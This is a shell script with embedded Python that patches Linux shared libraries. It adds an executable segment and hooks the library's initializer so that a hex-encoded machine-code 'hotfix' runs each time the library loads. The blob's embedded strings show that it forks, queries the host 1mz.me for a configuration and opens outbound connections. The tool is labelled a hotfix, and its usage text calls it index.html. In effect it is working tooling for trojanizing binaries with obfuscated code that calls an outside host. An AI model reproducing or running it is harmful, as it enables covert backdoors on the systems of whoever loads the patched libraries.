#!/usr/bin/env bash
set -euo pipefail

die() {
  echo "fwd1: $*" >&2
  exit 1
}

command -v python3 >/dev/null 2>&1 ||
  die "python3 is required; no compiler or third-party Python packages are used"

python3 - "$@" <<'PY'
import ipaddress
import os
import stat
import struct
import sys
import tempfile
from pathlib import Path


ELF_HEADER = struct.Struct("<16sHHIQQQIHHHHHH")
PROGRAM_HEADER = struct.Struct("<IIQQQQQQ")
DYNAMIC_ENTRY = struct.Struct("<qQ")

ELFCLASS64 = 2
ELFDATA2LSB = 1
EM_X86_64 = 62
ET_DYN = 3

PT_LOAD = 1
PT_DYNAMIC = 2
PT_NOTE = 4
PT_PHDR = 6
PF_X = 1
PF_R = 4

DT_NULL = 0
DT_INIT = 12

NT_GNU_PROPERTY_TYPE_0 = 5
GNU_PROPERTY_X86_FEATURE_1_AND = 0xC0000002
GNU_PROPERTY_X86_FEATURE_1_IBT = 1

MARKER = b"FWD1ELF1"
HOTFIX_CONFIG_MAGIC = b"FWD1CFG3"
HOTFIX_CONFIG = struct.Struct("<8sBBH4sH14s")
HOTFIX_CONFIG_MANUAL_IP = 1
HOTFIX_CONFIG_MANUAL_PORT = 2

# Generated from compilation/hotfix-v5.c. V5 locks machine-wide before forking,
# fetches one IPv4:port configuration, and supports manual target overrides.
HOTFIX = bytes.fromhex(
    "b801010000ba42000a0048c7c79cffffff41bab6010000488d35620f00000f05"
    "4885c00f88810000004989c0beb6010000b85b0000004c89c70f05b849000000"
    "be060000000f054885c00f85a6000000b801010000ba42000a0048c7c79cffff"
    "ff41bab6010000488d35f20e00000f054889c24885c0790bb8030000004c89c7"
    "0f05c3b85b0000004889d7beb60100000f05b849000000be060000000f054885"
    "c0746eb803000000eb7db801010000ba42000a0048c7c79cffffff41bab60100"
    "00488d35980e00000f054989c04885c00f88e50d0000b85b0000004c89c7beb6"
    "0100000f05b849000000be060000000f054885c07407b803000000eb83b83900"
    "000031ff0f054885c00f8569ffffffeb1db83900000031ff0f054885c0740fb8"
    "030000004889d70f05e94affffff415741564531f64155415455534881ecd809"
    "00008a057d0d00008a15770d000089c383e20280e30188542496885c24977407"
    "448b35610d0000807c249600741c66448b3d560d0000664585ff0f84320d0000"
    "a8010f85e3000000eb034531ff31f64c8d0d460d0000e93e010000440fb64c04"
    "d8488d4001458d61d04180fc090f87aa0b00006bc90a428d4c09d081f9ff0000"
    "000f87eb0c000089c54429dd4839f072ca85ed0f84d90c00004c63cf42898c8c"
    "d801000083ff030f85c50c00004839c60f85bc0c00008b8424dc0100008b8c24"
    "e0010000c1e008c1e11009c88b8c24e40100000b8424d8010000c1e11809c831"
    "c9430fb634028d7ed04080ff090f877f0c00006bc90a8d4c31d081f9ffff0000"
    "0f876c0c000049ffc04c39c275d385c90f845c0c0000807c249700410f45c680"
    "7c249600440f44f94189c64489f84531c04531c9bf0200000086e044894424b4"
    "be0108080031d2c74424b80400000066c78424d801000002004489b424dc0100"
    "004c898c24e001000066898424da010000b8290000000f054989c14885c00f89"
    "c00a0000e9e90b000048ffc64881fefd0000000f84d90b000041803c310075e9"
    "4885f60f84c90b000031ff4531c031c94531db897c24e04c8d5424d848b83146"
    "01000001000048894424d8b80c0000004839ce740741803c092e755c4889cf4c"
    "29c7488d57ff4883fa3e0f87820b0000488d5407054881faff0100000f87700b"
    "000040887c04d8488d58014c29c04c89c5498d14024839cd730d418a04298844"
    "2a0148ffc5ebee4c39c14889f84c8d4101490f42c34801d848ffc14839ce7390"
    "c64404d800488d580531d24531d2c64404d90048c7c79cffffff488d355f0b00"
    "00c64404da01c64404db00c64404dc01b801010000c74424b8020000350f0549"
    "89c14885c0790ab801010101e9900100004c8d9424d801000031c04c89cfba00"
    "0200004c89d60f054989c0b8030000000f054d85c07ed04c89d041ba0a000000"
    "4d39c273c280386e0f8548010000807801610f853e0100008078026d0f853401"
    "0000807803650f852a010000807804730f8520010000807805650f8516010000"
    "807806720f850c010000807807760f8502010000807808650f85f80000008078"
    "09720f85ee0000004c89d6488dbc24d80100008a143e80fa20750d48ffc64c39"
    "c672f04889f2eb3780fa0974ee49b900220000010000004889f24c39c273208a"
    "0c1780f90a741880f920760548ffc2ebe94d89cb49d3eb4c89d980e10174ed48"
    "29f231ff4c8da434d80100004531db4c89d931f689cd4429dd4839d1721385ed"
    "74744c63cf4289748cc883ff037567eb41450fb60c0c458d69d04180fd097715"
    "6bf60a428d740ed081feff000000774648ffc1ebbf85ed743d8974bcc84883ff"
    "0374334c8d59014180f92e752948ffc7eb9d4839ca751f8b4424cc8b5424d0c1"
    "e008c1e21009d08b5424d40b4424c8c1e21809d0eb0b49ffc248ffc0e99ffeff"
    "ff31f6894424bcbf02000000b82900000048897424c031d2be020008000f0549"
    "89c54885c00f8827090000488d6c24d8b82c0000004c89ef4889da4889ee41ba"
    "004000004c8d4424b841b9100000000f054839c30f85f1080000488d9c24d801"
    "0000b8e4000000bf010000004889de0f054885c00f85d5000000488b8424e001"
    "0000b940420f004c698424d8010000e8030000489948f7f94901c00f88ae0000"
    "0044896c24c84981c0ee0200004c8d6424c841b940420f0066c74424cc0100b8"
    "e4000000bf010000004889de0f054885c0757c488b8424e001000048698c24d8"
    "010000e8030000489949f7f94801c1785e4c39c173594c89c2b8070000004c89"
    "e7be0100000066c74424ce00004829ca0f054885c07f084883f8fc74a2eb30b8"
    "2d0000004c89ef4889eeba000200004531d24531c04531c90f054889c2b80300"
    "00000f054883fa0b7f12e903080000b8030000004c89efe9f4070000807c24d8"
    "310f85eb070000807c24d9460f85e0070000807c24da000f89d5070000f64424"
    "db0f0f85ca070000448b4c24dc668b7c24deb80c0000004531c06641c1c10866"
    "4539c1745b4839d00f83a40700000fb64c04d8488d700184c97512488d460448"
    "39c20f828a07000041ffc0ebd24189ca4183e2c04180fac0750f4839d60f836f"
    "070000488d7002ebd280f93f0f8760070000488d04314839c273aae952070000"
    "66c1c7084531c0664139f80f84410700004839d00f83380700000fb67404d848"
    "8d48014084f6750e488d710a4839f27339e91c0700004189f14183e1c04180f9"
    "c0750f4839d10f8306070000488d4802ebd64080fe3f0f87f6060000488d040e"
    "4839c273ace9e806000066448b540cd866448b4c0cda668b4c0ce089c886e00f"
    "b7c04801f04839c20f82c4060000664181fa0001410f94c26681f900040f94c1"
    "4184ca7456664181f90001754e8b4434d831d231c9c74424b404000000895424"
    "b0bf02000000be0108080031d2898424dc010000b829000000c78424d8010000"
    "0200005048898c24e00100000f054989c14885c0790de91b01000041ffc0e904"
    "ffffffb82a0000004c89cf4889deba100000000f054989c24489cb4885c00f84"
    "0e010000b8e4000000bf010000004c89e60f054885c00f85d0000000488b4424"
    "d0b940420f004c694424c8e8030000489948f7f94901c04983fa8d0f85ab0000"
    "004d85c00f88a200000044894c24b84981c0ee0200004c8d6c24b841ba40420f"
    "0066c74424bc0400b8e4000000bf010000004c89e60f054885c0757048694c24"
    "c8e8030000488b4424d0489949f7fa4801c178584c39c173534c89c2b8070000"
    "004c89efbe0100000066c74424be00004829ca0f054885c07f084883f8fc74a8"
    "eb2ab8370000004c89cfbe01000000ba040000004c8d5424b04c8d4424b40f05"
    "4885c07507837c24b0007426b8030000004c89cf0f05b8e4000000bf01000000"
    "4889ee0f0583cbff4885c0741de920050000b8e4000000bf010000004889ee0f"
    "054885c00f85fa040000488b4424e0be40420f0048694c24d8e8030000489948"
    "f7fe4801c885db0f88e50400004c8da0ee02000031ed4885c00f88c504000048"
    "8d8424d801000041bd40420f004889442498488d4424d848894424a0895c24d8"
    "66c74424dc0400488b742498b8e4000000bf010000000f054885c00f85870400"
    "00488b8424e001000048698c24d8010000e8030000489949f7fd4801c10f8865"
    "0400004c39e10f835c0400004c89e2488b7c24a0b80700000066c74424de0000"
    "4829cabe010000000f054885c07f0b4883f8fc7492e92e0400004863c3ba3600"
    "00004863fb4531c0488d359104000048894424884829ea4531c94801eeb82c00"
    "000041ba004000000f054885c07e304801c54883fd350f8640ffffff488d4424"
    "d831ed4c8dac24d80100004889442498488d4424c848894424a0e9b500000048"
    "83f8fc0f8413ffffff4883f8f50f8409ffffffe9b00300004883f8fc0f85b000"
    "0000488b742498b8e4000000bf010000000f054885c00f8596000000488b4424"
    "e0be40420f0048694c24d8e8030000489948f7fe4801c178794c39e173744c89"
    "e2488b7c24a0b80700000066c74424ce00004829cabe010000000f054885c07e"
    "97ba00080000488b7c24884531d24531c04829ea498d742d00b82d0000004531"
    "c90f054885c07e1c4801c54881fdff070000771e895c24c866c74424cc0100e9"
    "5effffff740c4883f8fc74e84883f8f574e2488b7c2488b8030000000f054883"
    "fd0c0f86ea02000080bc24d8010000480f85dc02000080bc24d9010000540f85"
    "ce02000080bc24da010000540f85c002000080bc24db010000500f85b2020000"
    "80bc24dc0100002f0f85a402000080bc24dd010000310f859602000080bc24de"
    "0100002e0f85880200008a8424df01000083e8303c010f877602000080bc24e0"
    "010000200f856802000080bc24e1010000320f855a02000080bc24e201000030"
    "0f854c02000080bc24e3010000300f853e0200008a8424e40100003c2074083c"
    "0d0f852b020000488d9424d801000031c94889d34889c848ffc1803a0d753380"
    "7a010a752d807a020d7527807a030a75214883ed044829c5488d55ff4883fa1e"
    "0f87ec01000031c94c8d5424d84801d8eb114883c00448ffc24839e872b6e9cf"
    "010000408a74080448ffc142887411ff4839cd75eec6442cd800807c14d80a0f"
    "85ad0100004885d2740d488d45fe807c2cd60d480f44d031c031f64839d07418"
    "41803c023a750c4885f60f85820100004889c648ffc0ebe34885f60f84710100"
    "004c8d46014939d00f836401000031ff4531db4c89d831c9e96af4ffff85ed0f"
    "844d010000890cbb4883ff030f84400100004989c34180f92e0f853301000048"
    "ffc7ebcf488db424d8010000b82a0000004c89cfba100000000f054889c34885"
    "c075084489cbe9f90000004c8d5424d8b8e4000000bf010000004c89d60f0548"
    "85c00f85d2000000488b4424e0b940420f004c694424d8e8030000489948f7f9"
    "4901c04883fb8d0f85ad0000004d85c00f88a400000044894c24c84489cbbd40"
    "420f004c8d6424c866c74424cc04004981c0ee020000b8e4000000bf01000000"
    "4c89d60f054885c0757048694c24d8e8030000488b4424e0489948f7fd4801c1"
    "78584c39c173534c89c2b8070000004c89e7be0100000066c74424ce00004829"
    "ca0f054885c07f084883f8fc74a8eb2ab8370000004c89cfbe01000000ba0400"
    "00004c8d5424b44c8d4424b80f054885c07507837c24b400740ab8030000004c"
    "89cfeb0c85db780a4863fbb8030000000f05b83c00000031ff0f05c346574431"
    "43464733010020000000000000000000000000000000000000000000316d7a2e"
    "6d6500662e0f1f840000000000662e0f1f840000000000660f1f840000000000"
    "2f6574632f7265736f6c762e636f6e6600000000000000000000000000000000"
    "474554202f63666720485454502f312e300d0a486f73743a20316d7a2e6d650d"
    "0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a00000000000000000000"
    "2f746d702f667764312d686f746669782e6c6f636b0000000000000000000000"
    "2f72756e2f6c6f636b2f667764312d686f746669782e6c6f636b00"
)


class PatchError(Exception):
    pass


def parse_cli(arguments):
    usage = (
        "usage: index.html INPUT.so [OUTPUT.so]\n"
        "       index.html INPUT.so [IP] [PORT]"
    )
    if len(arguments) == 1:
        return Path(arguments[0]), Path(arguments[0]), None, None
    if len(arguments) == 2:
        try:
            manual_ip = ipaddress.IPv4Address(arguments[1])
        except ipaddress.AddressValueError:
            return Path(arguments[0]), Path(arguments[1]), None, None
        return Path(arguments[0]), Path(arguments[0]), manual_ip, None
    if len(arguments) == 3:
        manual_ip = None
        if arguments[1] not in ("", "-"):
            try:
                manual_ip = ipaddress.IPv4Address(arguments[1])
            except ipaddress.AddressValueError as error:
                raise PatchError(f"invalid manual IPv4 address: {error}")
        try:
            manual_port = int(arguments[2], 10)
        except ValueError:
            raise PatchError("manual port must be an integer")
        if not 1 <= manual_port <= 65535:
            raise PatchError("manual port must be between 1 and 65535")
        return (
            Path(arguments[0]),
            Path(arguments[0]),
            manual_ip,
            manual_port,
        )
    raise PatchError(usage)


def configure_hotfix(hotfix, manual_ip, manual_port):
    offsets = []
    start = 0
    while True:
        offset = hotfix.find(HOTFIX_CONFIG_MAGIC, start)
        if offset < 0:
            break
        offsets.append(offset)
        start = offset + 1
    if len(offsets) != 1:
        raise PatchError(
            "embedded hotfix must contain exactly one configuration marker"
        )

    configured = bytearray(hotfix)
    offset = offsets[0]
    if offset + HOTFIX_CONFIG.size > len(configured):
        raise PatchError("embedded hotfix configuration is truncated")
    magic, version, flags, size, ipv4, port, reserved = (
        HOTFIX_CONFIG.unpack_from(configured, offset)
    )
    if magic != HOTFIX_CONFIG_MAGIC or version != 1 or size != HOTFIX_CONFIG.size:
        raise PatchError("embedded hotfix configuration is incompatible")

    flags &= ~(HOTFIX_CONFIG_MANUAL_IP | HOTFIX_CONFIG_MANUAL_PORT)
    ipv4 = b"\0" * 4
    port = 0
    if manual_ip is not None:
        flags |= HOTFIX_CONFIG_MANUAL_IP
        ipv4 = manual_ip.packed
    if manual_port is not None:
        flags |= HOTFIX_CONFIG_MANUAL_PORT
        port = manual_port

    HOTFIX_CONFIG.pack_into(
        configured,
        offset,
        magic,
        version,
        flags,
        size,
        ipv4,
        port,
        reserved,
    )
    return bytes(configured)


def align_up(value, alignment):
    return (value + alignment - 1) & -alignment


def signed_rel32(source_after_instruction, target):
    displacement = target - source_after_instruction
    if not -(1 << 31) <= displacement < (1 << 31):
        raise PatchError("original DT_INIT is outside x86-64 rel32 range")
    return struct.pack("<i", displacement)


def make_stub(stub_vaddr, original_init):
    # Preserve initializer arguments while v5 acquires the global lock and
    # forks. The parent or a lock-contention path returns here immediately.
    stub = bytearray.fromhex(
        "57"          # push rdi
        "56"          # push rsi
        "52"          # push rdx
        "e800000000"  # call hotfix
        "5a"          # pop rdx
        "5e"          # pop rsi
        "5f"          # pop rdi
    )

    if original_init is None:
        stub += b"\xc3"
    else:
        jump_offset = len(stub)
        stub += b"\xe9\x00\x00\x00\x00"
        jump_end = stub_vaddr + jump_offset + 5
        stub[jump_offset + 1 : jump_offset + 5] = signed_rel32(
            jump_end, original_init
        )

    hotfix_offset = len(stub)
    call_end = stub_vaddr + 8
    hotfix_vaddr = stub_vaddr + hotfix_offset
    stub[4:8] = signed_rel32(call_end, hotfix_vaddr)
    stub += HOTFIX
    return bytes(stub)


def parse_headers(data):
    if len(data) < ELF_HEADER.size:
        raise PatchError("file is too small to be ELF64")

    header = ELF_HEADER.unpack_from(data)
    ident = header[0]
    if ident[:4] != b"\x7fELF":
        raise PatchError("not an ELF file")
    if ident[4] != ELFCLASS64 or ident[5] != ELFDATA2LSB:
        raise PatchError("only little-endian ELF64 is supported")
    if header[1] != ET_DYN or header[2] != EM_X86_64:
        raise PatchError("only Linux x86-64 ET_DYN shared objects are supported")

    phoff = header[5]
    phentsize = header[9]
    phnum = header[10]
    if phentsize != PROGRAM_HEADER.size:
        raise PatchError("unexpected ELF64 program-header size")
    if phoff + phentsize * phnum > len(data):
        raise PatchError("program-header table extends past end of file")

    headers = [
        list(PROGRAM_HEADER.unpack_from(data, phoff + i * phentsize))
        for i in range(phnum)
    ]
    if not any(ph[0] == PT_LOAD for ph in headers):
        raise PatchError("ELF has no PT_LOAD segment")
    return header, headers


def uses_ibt(data, headers):
    for note in (ph for ph in headers if ph[0] == PT_NOTE):
        offset, size = note[2], note[5]
        end = offset + size
        if end > len(data):
            raise PatchError("invalid PT_NOTE file range")

        position = offset
        while position + 12 <= end:
            name_size, description_size, note_type = struct.unpack_from(
                "<III", data, position
            )
            name_start = position + 12
            name_end = name_start + name_size
            description_start = align_up(name_end, 4)
            description_end = description_start + description_size
            if name_end > end or description_end > end:
                raise PatchError("invalid PT_NOTE record")
            position = align_up(description_end, 4)

            if (
                note_type != NT_GNU_PROPERTY_TYPE_0
                or data[name_start:name_end] != b"GNU\0"
            ):
                continue

            property_offset = description_start
            while property_offset + 8 <= description_end:
                property_type, property_size = struct.unpack_from(
                    "<II", data, property_offset
                )
                property_data = property_offset + 8
                property_end = property_data + property_size
                if property_end > description_end:
                    raise PatchError("invalid GNU property note")
                if (
                    property_type == GNU_PROPERTY_X86_FEATURE_1_AND
                    and property_size >= 4
                    and struct.unpack_from("<I", data, property_data)[0]
                    & GNU_PROPERTY_X86_FEATURE_1_IBT
                ):
                    return True
                property_offset = description_start + align_up(
                    property_end - description_start, 8
                )
    return False


def dynamic_init_slot(data, headers):
    dynamic = next((ph for ph in headers if ph[0] == PT_DYNAMIC), None)
    if dynamic is None:
        raise PatchError("ELF has no PT_DYNAMIC segment")

    offset, size = dynamic[2], dynamic[5]
    if (
        offset + size > len(data)
        or size < DYNAMIC_ENTRY.size
        or size % DYNAMIC_ENTRY.size
    ):
        raise PatchError("invalid PT_DYNAMIC file range")

    for entry_offset in range(offset, offset + size, DYNAMIC_ENTRY.size):
        tag, value = DYNAMIC_ENTRY.unpack_from(data, entry_offset)
        if tag == DT_INIT:
            return entry_offset, value or None
        if tag == DT_NULL:
            next_offset = entry_offset + DYNAMIC_ENTRY.size
            if next_offset + DYNAMIC_ENTRY.size <= offset + size:
                next_tag, _ = DYNAMIC_ENTRY.unpack_from(data, next_offset)
                if next_tag == DT_NULL:
                    return entry_offset, None
            break

    raise PatchError("ELF has no DT_INIT and no spare dynamic-table entry")


def append_patch_segment(data, header, headers, blob_size):
    page_size = 0x1000
    segment_offset = align_up(len(data), page_size)
    highest_vaddr = max(
        ph[3] + ph[6] for ph in headers if ph[0] == PT_LOAD
    )
    segment_vaddr = align_up(highest_vaddr, page_size)
    relocated_headers = [ph[:] for ph in headers]
    relocated_phnum = len(relocated_headers) + 1
    relocated_phsize = relocated_phnum * PROGRAM_HEADER.size
    patch_offset = align_up(segment_offset + relocated_phsize, 16)
    patch_vaddr = segment_vaddr + patch_offset - segment_offset
    segment_size = patch_offset + blob_size - segment_offset

    new_header = list(header)
    new_header[5] = segment_offset
    new_header[10] = relocated_phnum

    new_segment = [
        PT_LOAD,
        PF_R | PF_X,
        segment_offset,
        segment_vaddr,
        segment_vaddr,
        segment_size,
        segment_size,
        page_size,
    ]
    for ph in relocated_headers:
        if ph[0] == PT_PHDR:
            ph[2] = segment_offset
            ph[3] = segment_vaddr
            ph[4] = segment_vaddr
            ph[5] = relocated_phsize
            ph[6] = relocated_phsize
    return (
        new_header,
        relocated_headers + [new_segment],
        patch_offset,
        patch_vaddr,
    )


def patch_bytes(data):
    if MARKER in data:
        raise PatchError("file is already patched by fwd1")

    header, headers = parse_headers(data)
    if uses_ibt(data, headers):
        raise PatchError(
            "ELF enables x86 IBT, which the hotfix wrapper does not support"
        )
    init_slot, original_init = dynamic_init_slot(data, headers)

    provisional_stub = make_stub(0, None)
    extra_jump = 4 if original_init is not None else 0
    blob_size = len(MARKER) + len(provisional_stub) + extra_jump
    new_header, relocated_headers, patch_offset, marker_vaddr = (
        append_patch_segment(data, header, headers, blob_size)
    )
    stub_vaddr = marker_vaddr + len(MARKER)
    patch_blob = MARKER + make_stub(stub_vaddr, original_init)
    relocated_phoff = new_header[5]

    if len(data) < relocated_phoff:
        data.extend(b"\0" * (relocated_phoff - len(data)))
    data.extend(b"\0" * (patch_offset + len(patch_blob) - len(data)))
    ELF_HEADER.pack_into(data, 0, *new_header)
    for index, ph in enumerate(relocated_headers):
        PROGRAM_HEADER.pack_into(
            data,
            relocated_phoff + index * PROGRAM_HEADER.size,
            *ph
        )
    data[patch_offset : patch_offset + len(patch_blob)] = patch_blob

    DYNAMIC_ENTRY.pack_into(data, init_slot, DT_INIT, stub_vaddr)
    return data


def patch_file(source, output):
    in_place = source.absolute() == output.absolute()
    if in_place and source.is_symlink():
        raise PatchError(
            "in-place patching through a symlink is not supported; "
            "use the symlink target"
        )
    source_stat = source.stat()
    if not stat.S_ISREG(source_stat.st_mode):
        raise PatchError("input is not a regular file")
    if in_place and source_stat.st_nlink > 1:
        raise PatchError(
            f"input has {source_stat.st_nlink} hard links; "
            "use a separate output path"
        )

    patched = patch_bytes(bytearray(source.read_bytes()))
    output_dir = output.parent.resolve()
    output_dir.mkdir(parents=True, exist_ok=True)

    fd, temporary_name = tempfile.mkstemp(prefix=f".{output.name}.", dir=output_dir)
    temporary = Path(temporary_name)
    try:
        with os.fdopen(fd, "wb") as stream:
            stream.write(patched)
            stream.flush()
            os.fsync(stream.fileno())
        os.chmod(temporary, stat.S_IMODE(source_stat.st_mode))
        os.replace(temporary, output)
    finally:
        try:
            temporary.unlink()
        except FileNotFoundError:
            pass


try:
    source, output, manual_ip, manual_port = parse_cli(sys.argv[1:])
    HOTFIX = configure_hotfix(HOTFIX, manual_ip, manual_port)
    patch_file(source, output)
except (OSError, PatchError) as error:
    print(f"fwd1: {error}", file=sys.stderr)
    raise SystemExit(1)
PY